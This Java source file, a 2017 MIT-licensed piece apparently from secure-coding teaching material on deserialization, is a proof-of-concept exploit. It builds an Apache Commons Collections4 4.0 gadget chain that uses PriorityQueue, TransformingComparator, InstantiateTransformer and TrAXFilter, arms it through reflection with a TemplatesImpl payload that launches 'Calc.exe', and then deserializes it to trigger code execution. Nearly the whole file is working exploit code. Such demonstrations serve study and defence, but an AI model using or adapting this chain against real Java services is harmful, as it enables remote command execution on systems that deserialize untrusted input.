// The MIT License (MIT)

//

// Copyright (c) 2017 Robert C. Seacord

//

// Permission is hereby granted, free of charge, to any person obtaining a copy

// of this software and associated documentation files (the "Software"), to deal

// in the Software without restriction, including without limitation the rights

// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

// copies of the Software, and to permit persons to whom the Software is

// furnished to do so, subject to the following conditions:

//

// The above copyright notice and this permission notice shall be included in all

// copies or substantial portions of the Software.

//

// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

// SOFTWARE.

package ser05j;

import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;

import org.apache.commons.collections4.functors.ChainedTransformer;

import org.apache.commons.collections4.functors.ConstantTransformer;

import org.apache.commons.collections4.functors.InstantiateTransformer;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.util.PriorityQueue;

public class RCE {

private static byte[] serialize(Object o) throws IOException {

try (ByteArrayOutputStream ba = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(ba)) {

oos.writeObject(o);

return ba.toByteArray();

}

}

/**

* Creates a Remote Command Execution Exploit based on Apache Commons Collections4 4.0

*

* @throws Exception for <i>everything</i>.

* @return a byte array containing the serialized queue

*/

private static byte[] RCEpayload() throws Exception {

Object templates = Gadgets.createTemplatesImpl("Calc.exe");

// Object templates = Gadgets.createTemplatesImpl("write .gitignore");

ConstantTransformer<Object, Class<String>> constant = new ConstantTransformer<>(String.class);

// mock method name until armed

Class<?>[] paramTypes = new Class[] { String.class };

Object[] args = new Object[] { "foo" };

InstantiateTransformer<?> instantiate = new InstantiateTransformer<>(paramTypes, args);

// grab defensively copied arrays

paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");

args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

@SuppressWarnings("unchecked")

Transformer<Object, Object> chain = new ChainedTransformer<Object>(new Transformer[] { constant, instantiate });

// create queue with numbers

PriorityQueue<Object> queue = new PriorityQueue<>(2, new TransformingComparator<>(chain));

queue.add(1);

queue.add(1);

// swap in values to arm

Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);

paramTypes[0] = Templates.class;

args[0] = templates;

return serialize(queue);

}

private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException {

Object obj;

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {

obj = ois.readObject();

}

return obj;

}

public static void main(String[] args) {

try {

@SuppressWarnings("unused") Object obj = deserialize(RCEpayload());

System.out.println("DoS has been deserialized.");

} catch (@SuppressWarnings("unused") Exception e) {

// Exceptions can be eliminated by wrapping PriorityQueue

// in a Callable with a custom security manager

}

} // end main

} // end LookAheadDeserializer